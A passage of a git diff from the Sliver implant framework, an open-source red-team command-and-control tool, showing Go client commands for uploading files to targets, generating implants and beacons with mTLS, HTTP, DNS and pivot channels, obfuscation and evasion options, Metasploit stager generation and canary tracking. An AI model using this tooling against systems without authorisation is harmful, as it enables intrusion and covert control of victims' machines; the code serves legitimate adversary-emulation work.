+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// UploadCmd - Upload a file to the remote system
+func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	localPath := ctx.Args.String("local-path")
+	remotePath := ctx.Args.String("remote-path")
+	isIOC := ctx.Flags.Bool("ioc")
+
+	if localPath == "" {
+		con.PrintErrorf("Missing parameter, see `help upload`\n")
+		return
+	}
+
+	src, _ := filepath.Abs(localPath)
+	_, err := os.Stat(src)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if remotePath == "" {
+		fileName := filepath.Base(src)
+		remotePath = fileName
+	}
+	dst := remotePath
+
+	fileBuf, err := ioutil.ReadFile(src)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	uploadGzip := new(encoders.Gzip).Encode(fileBuf)
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
+	upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    dst,
+		Data:    uploadGzip,
+		Encoder: "gzip",
+		IsIOC:   isIOC,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if upload.Response != nil && upload.Response.Async {
+		con.AddBeaconCallback(upload.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, upload)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintUpload(upload, con)
+		})
+		con.PrintAsyncResponse(upload.Response)
+	} else {
+		PrintUpload(upload, con)
+	}
+}
+
+// PrintUpload - Print the result of the upload command
+func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
+	if upload.Response != nil && upload.Response.Err != "" {
+		con.PrintErrorf("%s\n", upload.Response.Err)
+		return
+	}
+	con.PrintInfof("Wrote file to %s\n", upload.Path)
+}

client/command/generate.go

@@ -1,816 +0,0 @@
-package command
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bytes"
-	"context"
-	"errors"
-	"fmt"
-	"io/ioutil"
-	"log"
-	"net"
-	"net/url"
-	"os"
-	"path"
-	"path/filepath"
-	"regexp"
-	"strings"
-	"text/tabwriter"
-
-	"time"
-
-	"github.com/AlecAivazis/survey/v2"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/client/spin"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/desertbit/grumble"
-)
-
-var (
-	// SupportedCompilerTargets - Supported compiler targets
-	SupportedCompilerTargets = map[string]bool{
-		"darwin/amd64":  true,
-		"darwin/arm64":  true,
-		"linux/386":     true,
-		"linux/amd64":   true,
-		"windows/386":   true,
-		"windows/amd64": true,
-	}
-
-	validFormats = []string{
-		"bash",
-		"c",
-		"csharp",
-		"dw",
-		"dword",
-		"hex",
-		"java",
-		"js_be",
-		"js_le",
-		"num",
-		"perl",
-		"pl",
-		"powershell",
-		"ps1",
-		"py",
-		"python",
-		"raw",
-		"rb",
-		"ruby",
-		"sh",
-		"vbapplication",
-		"vbscript",
-	}
-)
-
-func generate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	config := parseCompileFlags(ctx)
-	if config == nil {
-		return
-	}
-	save := ctx.Flags.String("save")
-	if save == "" {
-		save, _ = os.Getwd()
-	}
-	compile(config, save, rpc)
-}
-
-func regenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	if len(ctx.Args) < 1 {
-		fmt.Printf(Warn+"Invalid implant name, see `help %s`\n", consts.RegenerateStr)
-		return
-	}
-	save := ctx.Flags.String("save")
-	if save == "" {
-		save, _ = os.Getwd()
-	}
-
-	regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
-		ImplantName: ctx.Args[0],
-	})
-	if err != nil {
-		fmt.Printf(Warn+"Failed to regenerate implant %s\n", err)
-		return
-	}
-	if regenerate.File == nil {
-		fmt.Printf(Warn + "Failed to regenerate implant (no data)\n")
-		return
-	}
-	saveTo, err := saveLocation(save, regenerate.File.Name)
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-		return
-	}
-	err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
-	if err != nil {
-		fmt.Printf(Warn+"Failed to write to %s\n", err)
-		return
-	}
-	fmt.Printf(Info+"Implant binary saved to: %s\n", saveTo)
-}
-
-func saveLocation(save, defaultName string) (string, error) {
-	var saveTo string
-	if save == "" {
-		save, _ = os.Getwd()
-	}
-	fi, err := os.Stat(save)
-	if os.IsNotExist(err) {
-		log.Printf("%s does not exist\n", save)
-		if strings.HasSuffix(save, "/") {
-			log.Printf("%s is dir\n", save)
-			os.MkdirAll(save, 0700)
-			saveTo, _ = filepath.Abs(path.Join(saveTo, defaultName))
-		} else {
-			log.Printf("%s is not dir\n", save)
-			saveDir := filepath.Dir(save)
-			_, err := os.Stat(saveTo)
-			if os.IsNotExist(err) {
-				os.MkdirAll(saveDir, 0700)
-			}
-			saveTo, _ = filepath.Abs(save)
-		}
-	} else {
-		log.Printf("%s does exist\n", save)
-		if fi.IsDir() {
-			log.Printf("%s is dir\n", save)
-			saveTo, _ = filepath.Abs(path.Join(save, defaultName))
-		} else {
-			log.Printf("%s is not dir\n", save)
-			prompt := &survey.Confirm{Message: "Overwrite existing file?"}
-			var confirm bool
-			survey.AskOne(prompt, &confirm)
-			if !confirm {
-				return "", errors.New("File already exists")
-			}
-			saveTo, _ = filepath.Abs(save)
-		}
-	}
-	return saveTo, nil
-}
-
-func generateStager(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	var stageProto clientpb.StageProtocol
-	lhost := ctx.Flags.String("lhost")
-	if lhost == "" {
-		fmt.Println(Warn + "please specify a listening host")
-		return
-	}
-	match, err := regexp.MatchString(`^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$`, lhost)
-	if err != nil {
-		return
-	}
-	if !match {
-		addr, err := net.LookupHost(lhost)
-		if err != nil {
-			fmt.Printf(Warn+"Error resolving %s: %v\n", lhost, err)
-			return
-		}
-		if len(addr) > 1 {
-			prompt := &survey.Select{
-				Message: "Select an address",
-				Options: addr,
-			}
-			err := survey.AskOne(prompt, &lhost)
-			if err != nil {
-				fmt.Printf(Warn+"Error: %v\n", err)
-				return
-			}
-		} else {
-			lhost = addr[0]
-		}
-	}
-	lport := ctx.Flags.Int("lport")
-	stageOS := ctx.Flags.String("os")
-	arch := ctx.Flags.String("arch")
-	proto := ctx.Flags.String("protocol")
-	format := ctx.Flags.String("format")
-	badchars := ctx.Flags.String("badchars")
-	save := ctx.Flags.String("save")
-
-	bChars := make([]string, 0)
-	if len(badchars) > 0 {
-		for _, b := range strings.Split(badchars, " ") {
-			bChars = append(bChars, fmt.Sprintf("\\x%s", b))
-		}
-	}
-
-	switch proto {
-	case "tcp":
-		stageProto = clientpb.StageProtocol_TCP
-	case "http":
-		stageProto = clientpb.StageProtocol_HTTP
-	case "https":
-		stageProto = clientpb.StageProtocol_HTTPS
-	default:
-		fmt.Printf(Warn+"%s staging protocol not supported\n", proto)
-		return
-	}
-
-	ctrl := make(chan bool)
-	go spin.Until("Generating stager, please wait ...", ctrl)
-	stageFile, err := rpc.MsfStage(context.Background(), &clientpb.MsfStagerReq{
-		Arch:     arch,
-		BadChars: bChars,
-		Format:   format,
-		Host:     lhost,
-		Port:     uint32(lport),
-		Protocol: stageProto,
-		OS:       stageOS,
-	})
-	ctrl <- true
-	<-ctrl
-
-	if err != nil {
-		fmt.Printf(Warn+"Error: %v", err)
-		return
-	}
-
-	if save != "" || format == "raw" {
-		saveTo, _ := filepath.Abs(save)
-		fi, err := os.Stat(saveTo)
-		if err != nil {
-			fmt.Printf(Warn+"Failed to generate sliver stager %v\n", err)
-			return
-		}
-		if fi.IsDir() {
-			saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
-		}
-		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
-		if err != nil {
-			fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
-			return
-		}
-		fmt.Printf(Info+"Sliver stager saved to: %s\n", saveTo)
-	} else {
-		fmt.Println(Info + "Here's your stager:")
-		fmt.Println(string(stageFile.GetFile().GetData()))
-	}
-
-}
-
-// Shared function that extracts the compile flags from the grumble context
-func parseCompileFlags(ctx *grumble.Context) *clientpb.ImplantConfig {
-	var name string
-	if ctx.Flags["name"] != nil {
-		name = strings.ToLower(ctx.Flags.String("name"))
-
-		if name != "" {
-			isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
-			if !isAlphanumeric(name) {
-				fmt.Printf(Warn + "Implant's name must be in alphanumeric only\n")
-				return nil
-			}
-		}
-	}
-
-	c2s := []*clientpb.ImplantC2{}
-
-	mtlsC2 := parseMTLSc2(ctx.Flags.String("mtls"))
-	c2s = append(c2s, mtlsC2...)
-
-	httpC2 := parseHTTPc2(ctx.Flags.String("http"))
-	c2s = append(c2s, httpC2...)
-
-	dnsC2 := parseDNSc2(ctx.Flags.String("dns"))
-	c2s = append(c2s, dnsC2...)
-
-	namedPipeC2 := parseNamedPipec2(ctx.Flags.String("named-pipe"))
-	c2s = append(c2s, namedPipeC2...)
-
-	tcpPivotC2 := parseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
-	c2s = append(c2s, tcpPivotC2...)
-
-	var symbolObfuscation bool
-	if ctx.Flags.Bool("debug") {
-		symbolObfuscation = false
-	} else {
-		symbolObfuscation = !ctx.Flags.Bool("skip-symbols")
-	}
-
-	if len(mtlsC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
-		fmt.Printf(Warn + "Must specify at least one of --mtls, --http, --dns, --named-pipe, or --tcp-pivot\n")
-		return nil
-	}
-
-	rawCanaries := ctx.Flags.String("canary")
-	canaryDomains := []string{}
-	if 0 < len(rawCanaries) {
-		for _, canaryDomain := range strings.Split(rawCanaries, ",") {
-			if !strings.HasSuffix(canaryDomain, ".") {
-				canaryDomain += "." // Ensure we have the FQDN
-			}
-			canaryDomains = append(canaryDomains, canaryDomain)
-		}
-	}
-
-	reconnectInterval := ctx.Flags.Int("reconnect")
-	maxConnectionErrors := ctx.Flags.Int("max-errors")
-
-	limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
-	limitHostname := ctx.Flags.String("limit-hostname")
-	limitUsername := ctx.Flags.String("limit-username")
-	limitDatetime := ctx.Flags.String("limit-datetime")
-	limitFileExists := ctx.Flags.String("limit-fileexists")
-
-	isSharedLib := false
-	isService := false
-	isShellcode := false
-
-	format := ctx.Flags.String("format")
-	var configFormat clientpb.ImplantConfig_OutputFormat
-	switch format {
-	case "exe":
-		configFormat = clientpb.ImplantConfig_EXECUTABLE
-	case "shared":
-		configFormat = clientpb.ImplantConfig_SHARED_LIB
-		isSharedLib = true
-	case "shellcode":
-		configFormat = clientpb.ImplantConfig_SHELLCODE
-		isShellcode = true
-	case "service":
-		configFormat = clientpb.ImplantConfig_SERVICE
-		isService = true
-	default:
-		// default to exe
-		configFormat = clientpb.ImplantConfig_EXECUTABLE
-	}
-
-	targetOS := strings.ToLower(ctx.Flags.String("os"))
-	arch := strings.ToLower(ctx.Flags.String("arch"))
-	targetOS, arch = getTargets(targetOS, arch)
-	if targetOS == "" || arch == "" {
-		return nil
-	}
-
-	if len(namedPipeC2) > 0 && targetOS != "windows" {
-		fmt.Printf(Warn + "Named pipe pivoting can only be used in Windows.")
-		return nil
-	}
-
-	config := &clientpb.ImplantConfig{
-		GOOS:             targetOS,
-		GOARCH:           arch,
-		Name:             name,
-		Debug:            ctx.Flags.Bool("debug"),
-		Evasion:          ctx.Flags.Bool("evasion"),
-		ObfuscateSymbols: symbolObfuscation,
-		C2:               c2s,
-		CanaryDomains:    canaryDomains,
-
-		ReconnectInterval:   uint32(reconnectInterval),
-		MaxConnectionErrors: uint32(maxConnectionErrors),
-
-		LimitDomainJoined: limitDomainJoined,
-		LimitHostname:     limitHostname,
-		LimitUsername:     limitUsername,
-		LimitDatetime:     limitDatetime,
-		LimitFileExists:   limitFileExists,
-
-		Format:      configFormat,
-		IsSharedLib: isSharedLib,
-		IsService:   isService,
-		IsShellcode: isShellcode,
-	}
-
-	return config
-}
-
-func getTargets(targetOS string, targetArch string) (string, string) {
-
-	/* For UX we convert some synonymous terms */
-	if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" {
-		targetOS = "darwin"
-	}
-	if targetOS == "windows" || targetOS == "win" || targetOS == "shit" {
-		targetOS = "windows"
-	}
-	if targetOS == "linux" || targetOS == "lin" {
-		targetOS = "linux"
-	}
-
-	if targetArch == "x64" || strings.HasPrefix(targetArch, "64") {
-		targetArch = "amd64"
-	}
-	if targetArch == "x86" || strings.HasPrefix(targetArch, "32") {
-		targetArch = "386"
-	}
-
-	target := fmt.Sprintf("%s/%s", targetOS, targetArch)
-	if _, ok := SupportedCompilerTargets[target]; !ok {
-		prompt := &survey.Confirm{
-			Message: fmt.Sprintf("Unsupported compiler target %s, try to build anyways?", target),
-		}
-		var confirm bool
-		survey.AskOne(prompt, &confirm)
-		if !confirm {
-			return "", ""
-		}
-	}
-
-	return targetOS, targetArch
-}
-
-func parseMTLSc2(args string) []*clientpb.ImplantC2 {
-	c2s := []*clientpb.ImplantC2{}
-	if args == "" {
-		return c2s
-	}
-	for index, arg := range strings.Split(args, ",") {
-		uri := url.URL{Scheme: "mtls"}
-		uri.Host = arg
-		if uri.Port() == "" {
-			uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultMTLSLPort)
-		}
-		c2s = append(c2s, &clientpb.ImplantC2{
-			Priority: uint32(index),
-			URL:      uri.String(),
-		})
-	}
-	return c2s
-}
-
-func parseHTTPc2(args string) []*clientpb.ImplantC2 {
-	c2s := []*clientpb.ImplantC2{}
-	if args == "" {
-		return c2s
-	}
-	for index, arg := range strings.Split(args, ",") {
-		arg = strings.ToLower(arg)
-		var uri *url.URL
-		var err error
-		if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
-			uri, err = url.Parse(arg)
-			if err != nil {
-				log.Printf("Failed to parse c2 URL %v", err)
-				continue
-			}
-		} else {
-			uri = &url.URL{Scheme: "https"} // HTTPS is the default, will fallback to HTTP
-			uri.Host = arg
-		}
-		c2s = append(c2s, &clientpb.ImplantC2{
-			Priority: uint32(index),
-			URL:      uri.String(),
-		})
-	}
-	return c2s
-}
-
-func parseDNSc2(args string) []*clientpb.ImplantC2 {
-	c2s := []*clientpb.ImplantC2{}
-	if args == "" {
-		return c2s
-	}
-	for index, arg := range strings.Split(args, ",") {
-		uri := url.URL{Scheme: "dns"}
-		if len(arg) < 1 {
-			continue
-		}
-		// Make sure we have the FQDN
-		if !strings.HasSuffix(arg, ".") {
-			arg += "."
-		}
-		if strings.HasPrefix(arg, ".") {
-			arg = arg[1:]
-		}
-
-		uri.Host = arg
-		c2s = append(c2s, &clientpb.ImplantC2{
-			Priority: uint32(index),
-			URL:      uri.String(),
-		})
-	}
-	return c2s
-}
-
-func parseNamedPipec2(args string) []*clientpb.ImplantC2 {
-	c2s := []*clientpb.ImplantC2{}
-	if args == "" {
-		return c2s
-	}
-	for index, arg := range strings.Split(args, ",") {
-		uri, err := url.Parse("namedpipe://" + arg)
-		if len(arg) < 1 {
-			continue
-		}
-		if err != nil {
-			return c2s
-		}
-		c2s = append(c2s, &clientpb.ImplantC2{
-			Priority: uint32(index),
-			URL:      uri.String(),
-		})
-	}
-	return c2s
-}
-
-func parseTCPPivotc2(args string) []*clientpb.ImplantC2 {
-	c2s := []*clientpb.ImplantC2{}
-	if args == "" {
-		return c2s
-	}
-	for index, arg := range strings.Split(args, ",") {
-
-		uri := url.URL{Scheme: "tcppivot"}
-		uri.Host = arg
-		if uri.Port() == "" {
-			uri.Host = fmt.Sprintf("%s:%d", uri.Host, defaultTCPPivotPort)
-		}
-		c2s = append(c2s, &clientpb.ImplantC2{
-			Priority: uint32(index),
-			URL:      uri.String(),
-		})
-	}
-	return c2s
-}
-
-func profileGenerate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	name := ctx.Flags.String("name")
-	if name == "" && 1 <= len(ctx.Args) {
-		name = ctx.Args[0]
-	}
-	save := ctx.Flags.String("save")
-	if save == "" {
-		save, _ = os.Getwd()
-	}
-	profile := getImplantProfileByName(rpc, name)
-	if profile != nil {
-		implantFile, err := compile(profile.Config, save, rpc)
-		if err != nil {
-			return
-		}
-		profile.Config.Name = buildImplantName(implantFile.Name)
-		_, err = rpc.SaveImplantProfile(context.Background(), profile)
-		if err != nil {
-			fmt.Printf(Warn+"could not update implant profile: %v\n", err)
-			return
-		}
-	} else {
-		fmt.Printf(Warn+"No profile with name '%s'", name)
-	}
-}
-
-func compile(config *clientpb.ImplantConfig, save string, rpc rpcpb.SliverRPCClient) (*commonpb.File, error) {
-
-	fmt.Printf(Info+"Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
-
-	if config.ObfuscateSymbols {
-		fmt.Printf(Info+"%sSymbol obfuscation is enabled.%s\n", bold, normal)
-		fmt.Printf(Info + "This process can take awhile, and consumes significant amounts of CPU/Memory\n")
-	} else if !config.Debug {
-		fmt.Printf(Warn+"Symbol obfuscation is %sdisabled%s\n", bold, normal)
-	}
-
-	start := time.Now()
-	ctrl := make(chan bool)
-	go spin.Until("Compiling, please wait ...", ctrl)
-
-	generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{
-		Config: config,
-	})
-	ctrl <- true
-	<-ctrl
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-		return nil, err
-	}
-
-	end := time.Now()
-	elapsed := time.Time{}.Add(end.Sub(start))
-	fmt.Printf(clearln+Info+"Build completed in %s\n", elapsed.Format("15:04:05"))
-	if len(generated.File.Data) == 0 {
-		fmt.Printf(Warn + "Build failed, no file data\n")
-		return nil, errors.New("No file data")
-	}
-
-	saveTo, err := saveLocation(save, generated.File.Name)
-	if err != nil {
-		return nil, err
-	}
-
-	err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
-	if err != nil {
-		fmt.Printf(Warn+"Failed to write to: %s\n", saveTo)
-		return nil, err
-	}
-	fmt.Printf(Info+"Implant saved to %s\n", saveTo)
-	return generated.File, err
-}
-
-func profiles(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	profiles := getImplantProfiles(rpc)
-	if profiles == nil {
-		return
-	}
-	if len(profiles) == 0 {
-		fmt.Printf(Info+"No profiles, create one with `%s`\n", consts.NewProfileStr)
-		return
-	}
-	table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
-	fmt.Fprintf(table, "Name\tPlatform\tCommand & Control\tDebug\tFormat\tObfuscation\tLimitations\t\n")
-	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
-		strings.Repeat("=", len("Name")),
-		strings.Repeat("=", len("Platform")),
-		strings.Repeat("=", len("Command & Control")),
-		strings.Repeat("=", len("Debug")),
-		strings.Repeat("=", len("Format")),
-		strings.Repeat("=", len("Obfuscation")),
-		strings.Repeat("=", len("Limitations")))
-
-	for _, profile := range profiles {
-		config := profile.Config
-		if 0 < len(config.C2) {
-			obfuscation := "strings only"
-			if config.ObfuscateSymbols {
-				obfuscation = "symbols obfuscation"
-			}
-			if config.Debug {
-				obfuscation = "none"
-			}
-			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
-				profile.Name,
-				fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
-				fmt.Sprintf("[1] %s", config.C2[0].URL),
-				fmt.Sprintf("%v", config.Debug),
-				fmt.Sprintf("%v", config.Format),
-				fmt.Sprintf("%s", obfuscation),
-				getLimitsString(config),
-			)
-		}
-		if 1 < len(config.C2) {
-			for index, c2 := range config.C2[1:] {
-				fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
-					"",
-					"",
-					fmt.Sprintf("[%d] %s", index+2, c2.URL),
-					"",
-					"",
-					"",
-					"",
-				)
-			}
-		}
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
-	}
-	table.Flush()
-}
-
-func getLimitsString(config *clientpb.ImplantConfig) string {
-	limits := []string{}
-	if config.LimitDatetime != "" {
-		limits = append(limits, fmt.Sprintf("datetime=%s", config.LimitDatetime))
-	}
-	if config.LimitDomainJoined {
-		limits = append(limits, fmt.Sprintf("domainjoined=%v", config.LimitDomainJoined))
-	}
-	if config.LimitUsername != "" {
-		limits = append(limits, fmt.Sprintf("username=%s", config.LimitUsername))
-	}
-	if config.LimitHostname != "" {
-		limits = append(limits, fmt.Sprintf("hostname=%s", config.LimitHostname))
-	}
-	if config.LimitFileExists != "" {
-		limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
-	}
-	return strings.Join(limits, "; ")
-}
-
-func newProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	name := ctx.Flags.String("profile-name")
-	if name == "" {
-		fmt.Printf(Warn + "Invalid profile name\n")
-		return
-	}
-	config := parseCompileFlags(ctx)
-	if config == nil {
-		return
-	}
-	profile := &clientpb.ImplantProfile{
-		Name:   name,
-		Config: config,
-	}
-	resp, err := rpc.SaveImplantProfile(context.Background(), profile)
-	if err != nil {
-		fmt.Printf(Warn+"%s\n", err)
-	} else {
-		fmt.Printf(Info+"Saved new profile %s\n", resp.Name)
-	}
-}
-
-func rmProfile(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	if len(ctx.Args) < 1 {
-		fmt.Printf(Warn+"Invalid implant name, see `%s %s --help`\n", consts.ProfilesStr, consts.RmStr)
-		return
-	}
-	_, err := rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
-		Name: ctx.Args[0],
-	})
-	if err != nil {
-		fmt.Printf(Warn+"Failed to delete profile %s\n", err)
-		return
-	}
-}
-
-func getImplantProfiles(rpc rpcpb.SliverRPCClient) []*clientpb.ImplantProfile {
-	pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		fmt.Printf(Warn+"Error %s", err)
-		return nil
-	}
-	return pbProfiles.Profiles
-}
-
-func getImplantProfileByName(rpc rpcpb.SliverRPCClient, name string) *clientpb.ImplantProfile {
-	pbProfiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		fmt.Printf(Warn+"Error %s", err)
-		return nil
-	}
-	for _, profile := range pbProfiles.Profiles {
-		if profile.Name == name {
-			return profile
-		}
-	}
-	return nil
-}
-
-func canaries(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-	canaries, err := rpc.Canaries(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		fmt.Printf(Warn+"Failed to list canaries %s", err)
-		return
-	}
-	if 0 < len(canaries.Canaries) {
-		displayCanaries(canaries.Canaries, ctx.Flags.Bool("burned"))
-	} else {
-		fmt.Printf(Info + "No canaries in database\n")
-	}
-}
-
-func displayCanaries(canaries []*clientpb.DNSCanary, burnedOnly bool) {
-
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-	fmt.Fprintf(table, "Sliver Name\tDomain\tTriggered\tFirst Trigger\tLatest Trigger\t\n")
-	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
-		strings.Repeat("=", len("Sliver Name")),
-		strings.Repeat("=", len("Domain")),
-		strings.Repeat("=", len("Triggered")),
-		strings.Repeat("=", len("First Trigger")),
-		strings.Repeat("=", len("Latest Trigger")),
-	)
-
-	lineColors := []string{}
-	for _, canary := range canaries {
-		if burnedOnly && !canary.Triggered {
-			continue
-		}
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
-			canary.ImplantName,
-			canary.Domain,
-			fmt.Sprintf("%v", canary.Triggered),
-			canary.FirstTriggered,
-			canary.LatestTrigger,
-		)
-		if canary.Triggered {
-			lineColors = append(lineColors, bold+red)
-		} else {
-			lineColors = append(lineColors, normal)
-		}
-	}
-	table.Flush()
-
-	for index, line := range strings.Split(outputBuf.String(), "\n") {
-		if len(line) == 0 {
-			continue
-		}
-		// We need to account for the two rows of column headers
-		if 0 < len(line) && 2 <= index {
-			lineColor := lineColors[index-2]
-			fmt.Printf("%s%s%s\n", lineColor, line, normal)
-		} else {
-			fmt.Printf("%s\n", line)
-		}
-	}
-}

client/command/generate/README.md

@@ -0,0 +1,5 @@
+Generate
+========
+
+Implements command related to implant generation such as `generate`, `regenerate`, `profiles`, etc.
+

client/command/generate/canaries.go

@@ -0,0 +1,64 @@
+package generate
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+)
+
+// CanariesCmd - Display canaries from the database and their status
+func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("Failed to list canaries %s", err)
+		return
+	}
+	if 0 < len(canaries.Canaries) {
+		PrintCanaries(con, canaries.Canaries, ctx.Flags.Bool("burned"))
+	} else {
+		con.PrintInfof("No canaries in database\n")
+	}
+}
+
+// PrintCanaries - Print the canaries tracked by the server
+func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Sliver Name",
+		"Domain",
+		"Triggered",
+		"First Trigger",
+		"Latest Trigger",
+	})
+	for _, canary := range canaries {
+		if burnedOnly && !canary.Triggered {
+			continue
+		}
+		lineColor := console.Normal
+		if canary.Triggered {
+			lineColor = console.Bold + console.Red
+		}
+		firstTrigger := "Never"
+		latestTrigger := "Never"
+		if canary.Triggered {
+			firstTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.FirstTriggered)
+			latestTrigger = fmt.Sprintf(lineColor+"%s"+console.Normal, canary.LatestTrigger)
+		}
+		row := table.Row{
+			fmt.Sprintf(lineColor+"%s"+console.Normal, canary.ImplantName),
+			fmt.Sprintf(lineColor+"%s"+console.Normal, canary.Domain),
+			fmt.Sprintf(lineColor+"%v"+console.Normal, canary.Triggered),
+			firstTrigger,
+			latestTrigger,
+		}
+		tw.AppendRow(row)
+	}
+	con.Printf("%s\n", tw.Render())
+}

client/command/generate/generate-beacon.go

@@ -0,0 +1,48 @@
+package generate
+
+import (
+	"fmt"
+	"os"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+var (
+	minBeaconInterval         = 5 * time.Second
+	ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval)
+)
+
+// GenerateBeaconCmd - The main command used to generate implant binaries
+func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	config := parseCompileFlags(ctx, con)
+	if config == nil {
+		return
+	}
+	config.IsBeacon = true
+	err := parseBeaconFlags(ctx, con, config)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	save := ctx.Flags.String("save")
+	if save == "" {
+		save, _ = os.Getwd()
+	}
+	compile(config, save, con)
+}
+
+func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
+	interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
+	interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
+	interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
+	interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
+	if interval < minBeaconInterval {
+		return ErrBeaconIntervalTooShort
+	}
+	config.BeaconInterval = int64(interval)
+	config.BeaconJitter = int64(time.Duration(ctx.Flags.Int64("jitter")) * time.Second)
+	return nil
+}

client/command/generate/generate-info.go

@@ -0,0 +1,34 @@
+package generate
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
